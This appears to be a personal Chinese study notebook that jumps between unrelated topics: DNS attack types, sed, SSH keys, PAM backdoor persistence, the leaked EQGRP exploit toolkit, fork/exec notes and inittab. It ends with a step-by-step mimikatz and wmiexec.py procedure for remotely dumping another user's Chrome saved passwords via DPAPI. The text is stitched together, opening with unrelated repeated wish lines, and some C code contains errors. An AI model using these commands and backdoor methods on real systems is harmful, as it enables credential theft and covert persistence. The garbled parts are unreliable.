我想要
我想要新手机
我想要新电脑
我想要摩托车
我想要一只狗
我想要一把吉他
我想要汽车
我想要游戏
我想要酒
我想要天上的云
我想要新手机
我想要新电脑
我想要摩托车
我想要一只狗
我想要一把吉他
我想要汽车
我想要游戏
我想要酒
我想要天上的云
1. DNS Spoofing:攻击者通过伪造DNS响应,将用户重定向到恶意网站或者欺骗用户输入敏感信息。
2. DNS Cache Poisoning:攻击者通过向DNS服务器发送虚假的DNS响应,将错误的IP地址缓存到DNS服务器中,导致用户无法访问正确的网站。
3. DNS Amplification:攻击者利用DNS服务器的放大效应,向目标服务器发送大量的DNS请求,导致目标服务器瘫痪。
4. DNS Flood:攻击者通过向DNS服务器发送大量的DNS请求,消耗服务器资源,导致服务器瘫痪。
5. DNS Tunneling:攻击者通过DNS协议传输非法数据,绕过网络安全设备,实现数据窃取或者远程控制。
辨析:
DNS Spoofing 和 DNS Cache Poisoning 的区别
攻击对象:
DNS Spoofing:主要针对用户或客户端,通过伪造DNS响应直接影响用户的DNS查询结果。
DNS Cache Poisoning:主要针对DNS服务器的缓存,通过污染缓存来影响多个用户的查询结果。
实现方式:
DNS Spoofing:通常涉及实时拦截和篡改DNS请求或响应。
DNS Cache Poisoning:通过发送虚假的DNS响应使DNS服务器缓存错误的IP地址。
DNS Amplification和DNS Flood是两种不同的拒绝服务(DoS)攻击方式,它们都涉及向DNS服务器发送大量请求,最终导致目标服务器瘫痪。
DNS Amplification(DNS放大攻击)
攻击方式:攻击者利用开放的DNS解析器,将小的DNS查询请求伪装成受害者的IP地址发送到这些解析器。解析器处理请求并发送大量的响应数据到受害者的IP地址。
放大效应:通过发送较小的请求(例如几十字节),攻击者可以触发较大的响应(例如几千字节)。这样,攻击者能够利用放大效应,发送少量流量却对目标服务器造成巨大的流量冲击。
DNS Flood(DNS泛洪攻击)
攻击方式:攻击者直接向目标DNS服务器发送大量的DNS查询请求,试图通过消耗服务器的资源使其无法正常响应合法请求。
请求数量:DNS Flood攻击依赖于发送大量的请求,而这些请求通常不涉及放大效应。攻击者需要拥有较大的带宽资源以产生足够多的请求来压垮目标服务器。
选项
-i 直接写入
-e 拼接指令
-n 只打印经过编辑的行
-u 禁用输出缓冲,即实时输出结果
替换标记
/g global全局替换
/p print将经过替换的行打印输出
## 需要注意的是,如果只使用 /p 标记而不使用 -n 选项,sed 命令将会打印所有经过编辑的行,包括未匹配到的行。
## 而只使用 -n 选项而不使用 /p 标记,则不会打印任何行。因此,两者结合使用时可以过滤并打印出符合条件的行。
/i 忽略大小写替换标记
地址范围选项
n:行号选项,表示只对指定行号的行进行操作。例如,5s/pattern/replacement/ 表示只对第 5 行进行替换操作。
start:起始行选项,表示从指定行开始应用编辑命令。例如,/pattern/s/replacement/ 表示从匹配到 pattern 的行开始进行替换操作。
start,end:起始行和结束行选项,表示在指定的行范围内应用编辑命令。例如,/start/,/end/s/pattern/replacement/ 表示在匹配到 start 行和 end 行之间进行替换操作。
$:最后一行选项,表示对最后一行进行操作。例如,$s/pattern/replacement/ 表示对最后一行进行替换操作。
!:否定行选项,表示对选定行之外的行应用编辑命令。例如,1,3!s/pattern/replacement/ 表示对除了第 1 行到第 3 行之外的所有行进行替换操作。
例子:机器A免密登录机器B
# 在A上执行
## 生成密钥对,保存在~/.ssh中,一般有两个文件id_rsa和id_rsa.pub对应私钥和公钥;
## 如果要实现免密登录,在输入passphrase时直接回车,不要输入内容
ssh-keygen -t rsa
scp ~/.ssh/id_rsa.pub username@B_ipAddress:/path/to/temporary_location
# 在B上执行
## 若有多台机器希望免密登录B,在B上的authorized_keys后面追加写入公钥即可
cat /path/to/temporary_location >> ~/.ssh/authorized_keys
passphrase作用是解密私钥
在/etc/pam.d/文件夹中,每个文件对应一个应用程序或服务。这些文件的命名通常与相应的应用程序或服务的名称相对应。例如sshd文件对应 SSH 服务的身份验证和授权规则,login文件对应本地登录过程的身份验证和授权规则。
提权之后,一种持久化方法是修改PAM。
# 在/etc/pam.d/下文件内容主要依据四个规则:
auth:身份验证规则
auth required pam_unix.so:使用标准的UNIX身份验证方法进行验证。
auth required pam_google_authenticator.so nullok:使用Google Authenticator进行两步验证,允许用户在没有启用Google Authenticator的情况下进行身份验证。
account:授权规则
account required pam_unix.so:使用标准的UNIX账户管理来控制用户的访问权限。
account required pam_access.so:使用/etc/security/access.conf文件中的规则来控制用户的访问控制。
password:密码管理规则
password required pam_cracklib.so:使用CrackLib库来检查和强制密码策略。
password required pam_unix.so sha512 shadow:使用UNIX密码管理和shadow密码文件来存储用户密码。
session:会话管理规则
session required pam_limits.so:设置用户会话的资源限制,如最大打开文件数和最大进程数。
session optional pam_systemd.so:与systemd集成,以管理用户会话的生命周期。
举个例子:
# 编辑 /etc/pam.d/login
# 添加或修改以下行
auth required pam_tally2.so deny=5 unlock_time=600
auth required pam_unix.so
account required pam_tally2.so
account required pam_unix.so
此例中,
认证阶段(auth):
pam_tally2.so会首先执行,它会检查登录尝试次数是否超过限制。如果登录尝试次数超过设置的限制(如 deny=5),它将导致认证失败,并且用户账户会被锁定指定时间(如 unlock_time=600)。
即使 pam_tally2.so 失败,pam_unix.so 还是会继续执行。这意味着系统会继续检查用户的用户名和密码是否正确。如果用户名和密码正确,但 pam_tally2.so 失败,整体认证仍然会失败。
账户管理阶段(account):
pam_tally2.so会再次执行,用于更新和检查账户状态,例如解锁被锁定的账户。
然后pam_unix.so会执行,进行标准的账户管理操作,例如检查账户是否已过期。
总结:
在PAM配置文件中,每个required模块必须成功,否则整个认证过程将失败。然而,它们会按照配置文件中的顺序依次执行,即使前面的模块失败了,后面的模块也会继续执行,但最终认证结果将取决于所有required模块的结果。
那么是否可以重写pam_unix.so?可以。
只要模块路径正确且模块本身编写和安装正确,PAM 配置文件就能够识别并调用它。
如何编写正确的PAM模块可以参考Linux-PAM GNU
攻击样例可以参考Linux 攻擊場域:SSH 登入攻擊手法初探,文中利用
account sufficient bad_pam.so
指定该模块(bad_pam.so)返回成功(Success)状态,那么就无需再继续执行后面的账户授权规则,即可立即授权通过。而在bad_pam.so中可以操作很多事,比如任意密码登录,登录不被记录,非指定密码(后门账号)登录之后键盘被记录等等。
观察/usr/lib/x86_64-linux-gnu/security/和/etc/pam.d/中文件的修改时间和hash值是否可疑。
工具集:https://github.com/x0rz/EQGRP_Lost_in_Translation
Fuzzbunch: https://github.com/fuzzbunch/fuzzbunch
EQGRP_Lost_in_Translation中:
EXPLODINGCAN 是 IIS 5/6 远程漏洞利用工具
ETERNALROMANCE 是 SMB1 的重量级利用,可以攻击开放了 445 端口的 Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2 并提升至系统权限,漏洞编号为MS17-010,已于 2017 年 3 月修复。
除此之外 ERRATICGOPHER 、ETERNALBLUE 、ETERNALSYNERGY 、ETERNALCHAMPION 、EDUCATEDSCHOLAR、 EMERALDTHREAD 等都是 SMB 漏洞利用程序,可以攻击开放了 445 端口的 Windows 机器,且基本都已修复于 2017 年 3 月。
ESTEEMAUDIT 是 RDP 服务的远程漏洞利用工具,可以攻击开放了3389 端口且开启了智能卡登陆的 Windows XP 和 Windows 2003 机器。
FUZZBUNCH 是一个类似 MetaSploit 的漏洞利用平台。
ODDJOB 是无法被杀毒软件检测的 Rootkit 利用工具。
ECLIPSEDWING 是 Windows 服务器的远程漏洞利用工具,漏洞编号为MS08-067,修复于2008年。
ESKIMOROLL 是 Kerberos 的漏洞利用攻击,可以攻击开放了 88 端口的 Windows 2000/2003/2008/2008 R2 的域控制器,漏洞编号为MS14-068,修复于2014年。
常用的,DarkPulsar 是一个用户空间的后门程序,而 DoublePulsar 是一个内核级别的后门。
检测:https://github.com/WithSecureLabs/doublepulsar-detection-script
NSA这个工具集对内网很好用,而且用python写的很好改,感觉用的人也不多。
31 C0
40 90
74 08
这段shellcode很神奇在32/64bit下反编译效果正好相反
#32bit始终不会跳转Function
31 C0 xor eax, eax
40 inc eax
90 nop
74 08 je Function
#64bit始终会跳转Function
31 C0 xor eax, eax
40 90 xchg eax, eax
74 08 je Function
CSAPP中对这个比喻很形象,就是从master线中分叉出来了一条子进程,与父进程共享文件描述符和所有其他资源。
#include <unistd.h>
pid_t fork(void);
这是一个函数族,包含了几个函数
#include <unistd.h>
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg,..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[],char *const envp[]);
#参数说明:
#path:可执行文件的路径名字
#arg:可执行程序所带的参数,第一个参数为可执行文件名字,没有带路径且arg必须以NULL结束
#file:如果参数file中包含/,则就将其视为路径名,否则就按 PATH环境变量,在它所指定的各目录中搜寻可执行文件。
后缀的意思:
l:表示 "list",这意味着参数以可变参数列表(variable argument list)的形式传递,最后一个参数为 NULL,用于标识参数列表的结束。
p:表示 "path",这意味着在系统的 PATH 环境变量中搜索可执行文件。
e:表示 "environment",这意味着可以指定环境变量。
v:表示 "vector",这意味着参数以数组的形式传递,数组中每个元素都是一个字符串指针。
不管哪种exec,都有一个共性:会用一个程序完全取代当前的程序。
换句话说,这是一个有去无回的动作,可以将当前进程完全转变成另一个进程。
fork和exec是其他的基础。
参考man-pages,system实际上就是fork和exec的结合。
#include <unistd.h>
pid_t fork(void);
简而言之就是用fork生成一个新进程,然后父进程wait,等待子进程结束。子进程用exec执行命令。
int system(const char * cmdstring)
{
pid_t pid;
int status;
if(cmdstring == NULL){
return (1);
}
if((pid = fork())<0){
status = -1;
}
else if(pid == 0){
execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);
-exit(127); //子进程正常执行则不会执行此语句
}
else{
while(waitpid(pid, &status, 0) < 0){
if(errno != EINTER){
status = -1;
break;
}
}
}
return status;
}
#include <spawn.h>
int posix_spawn(pid_t *restrict pid, const char *restrict path,
const posix_spawn_file_actions_t *restrict file_actions,
const posix_spawnattr_t *restrict attrp,
char *const argv[restrict],
char *const envp[restrict]);
int posix_spawnp(pid_t *restrict pid, const char *restrict file,
const posix_spawn_file_actions_t *restrict file_actions,
const posix_spawnattr_t *restrict attrp,
char *const argv[restrict],
char *const envp[restrict]);
按照man-pages的说法,spawn是为了给不支持fork的系统提供标准化方法(standardized method),主要针对小型嵌入式系统。并且文中提到,spawn是syscall实现功能的子集。
两种spawn有什么区别?
With posix_spawnp(), the executable file is specified as a simple filename; the system searches for this file in the list of directories specified by PATH (in the same way as for execvp(3).
也就是说posix_spawnp后缀的p也是指代PATH
那么spawn和system,fork有什么区别呢?
根据多处文档(BlackBerry|qnx、Oracle Solaris Blog、The Open Group)以及《理解Unix进程》- Jesse Storimer中描述:
system会阻塞到命令完成,而spawn会直接返回。
fork子进程有两个特点:1.获得父进程的文件描述符 2.获得父进程所有内存。而spawn只保留了1,没有保留2。也就是说spawn比fork更轻便,性能更好,在进程切换的过程中开销更小。但也因为没有内存的内容,缺少了灵活性。
从实现层面上,spawn也是通过fork和exec实现,但是和system不同的是在fork之后,子进程中在exec之前做了其他事,而不是像system一样直接调用exec。所以spawn有很多参数,能指定更改环境变量。
pipe open
创建一个管道,并启动一个子进程进行命令的执行。它返回一个文件指针,该文件指针指向子进程的标准输入或标准输出,具体取决于 popen 函数的第二个参数。注意,无法一次访问所有的流。
对应还有pclose。
#include <stdio.h>
FILE *popen(const char *command, const char *type);
int pclose(FILE *stream);
popen 函数返回的文件指针可以像普通文件指针一样使用标准的文件 I/O 函数,如 fread、fwrite、fgets、fputs 等。
什么时候说什么样的话,对什么人,怎么说,心里头时刻有一根弦要绷着的。
现代Linux已用systemd取代了inittab,并将inittab的功能集成在了systemctl中。可以通过编写适当的.service文件并将其放置在/etc/systemd/system/目录下,然后使用systemctl命令来管理和控制这些服务。这是在现代Linux中定义和管理初始化进程的推荐方式。参考SysVinit
但是现代Linux中依然有部分发行版支持自建/etc/inittab,如Arch
ArchWiki中明确指出:重启之前,务必使用 telinit q 测试修改过的 /etc/inittab,任何小小的语法错误都将导致系统无法启动。
可以通过pstree观察PID为1是否为inittab确定是否可用,以及/etc/inittab是否存在判断。并且,虽然现代Linux用systemd取代了,但是其他Unix系统如AIX,以及老的(占有率其实很高)Linux还在用,所以学这个是有意义的。
每个inittab文件条目由四个字段组成,字段之间使用冒号(:)进行分隔。格式如下:
Identifier:RunLevel:Action:Command
Identifier(标识):一个用于唯一标识该条目的字符串,可以是一个或多个字符。
RunLevel(运行级别):指定可以在哪个运行级别下处理该条目。运行级别与系统中的进程配置相对应,使用数字0到9表示。例如,如果系统处于运行级别1,那么只有RunLevel字段中包含1的条目才会启动。如果没有指定任何运行级别,那么假定该进程在所有运行级别下都有效。
Action(操作):指示初始化命令如何处理指定进程。
respawn:如果该进程不存在,请启动它。在进程终止时,重新启动该进程。
wait:启动该进程并等待它的终止。当进入与条目的运行级别匹配的运行级别时,执行该操作。
once:启动该进程,并且不等待其终止。当它终止时,不要重新启动该进程。
boot:启动该进程,但不等待其终止。只在系统引导期间执行一次。
off:在系统引导期间不启动该进程。
Command(命令):要执行的命令或脚本。命令用“”包裹,或者填入脚本路径。
每个条目都以换行符分隔,可以使用反斜杠(\)表示条目的连续。可以在行的开头使用冒号(:)将条目注释掉。
另外要注意Identifier必须唯一,不能冲突,Runlevel不同发行版可能有所不同。
一个典型的.service文件包含以下几个部分:
[Unit]:这个部分定义了服务的基本信息,包括服务名称、描述、依赖关系等。
Description:描述服务的简短说明。
Requires:定义服务所依赖的其他服务。
After:定义服务在哪些其他服务之后启动。
[Service]:这个部分定义了服务的执行参数和行为。
Type:指定服务的类型,可以是simple(默认值)、forking、oneshot、dbus、notify等。
ExecStart:指定服务启动时要执行的命令或脚本。
Restart:定义服务在发生故障时的重启行为。
WorkingDirectory:指定服务运行的工作目录。
User和Group:指定服务运行的用户和用户组。
[Install]:这个部分定义了服务的安装配置。
WantedBy:定义服务在哪个target或目标中激活。
示例
[Unit]
Description=My Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/my-service
Restart=always
WorkingDirectory=/path/to/service
User=myuser
Group=mygroup
[Install]
WantedBy=multi-user.target
原理
chrome储存的明文密码时使用windows提供的DPAPI进行对称加密来保证安全性。加解密的密钥称为master key。master key被用户登录密码、SID和16字节随机数加密后保存在Master Key file(%APPDATA%\Microsoft\Protect\%SID%
)中。
三种情况
1.A用户获取自己chrome密码不需要知道master key
2.A获取B用户,如果B用户在线,那么可以直接从内存中抓取出B的maste key
3.A获取B用户,B不在线,就需要用b用户的明文密码或者NTLM hash计算出master key,在回到上面一步。
dpapi::chrome /in:'C:\Users\<UserName>\AppData\Local\Google\Chrome\User Data\Default\Login Data' /unprotect
因为用户在线,所以用mimikatz抓内存即可
impacket/examples/wmiexec.py
privilege::debug
sekurlsa::dpapi
python wmiexec.py <UserName>:<password>@<ip> 'path/to/mimikatz "privilege::debug" "sekurlsa::dpapi" exit'
导出之后关注两个值
MasterKey
sha1(key)
#wmiexec.py/smbexec.py/psexec.py都可以
python wmiexec.py <UserName>:<password>@<ip> 'cd c:\users\public && Minimimini64.exe "dpapi::chrome /in:\"C:\Users\<UserName>\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /masterkey:<your/MasterKey/or/sha1(key)>" exit '
如果我们知道用户xxx的明文密码,可以用runas降权(或者进行一些spwan的操作降权),降权之后又回到了最简单的情况。(因为runas需要交互式shell,所以这种方法比较鸡肋)
runas /user:<UserName>@<domainName> "cmd.exe"
在没有交互式的情况下可以直接用mimikatz直接算出master key
1.知道明文密码
dpapi::masterkey /in:"c:\Users\<UserName>\AppData\Roaming\Microsoft\Protect\<直到最后一个文件>" /password:<password>
有结果之后继续按照第2种情况
2.知道NTLM hash
dpapi::masterkey /in:"c:\Users\<UserName>\AppData\Roaming\Microsoft\Protect\<直到最后一个文件>" /hash:<NTLM hash>
有结果之后继续按照第2种情况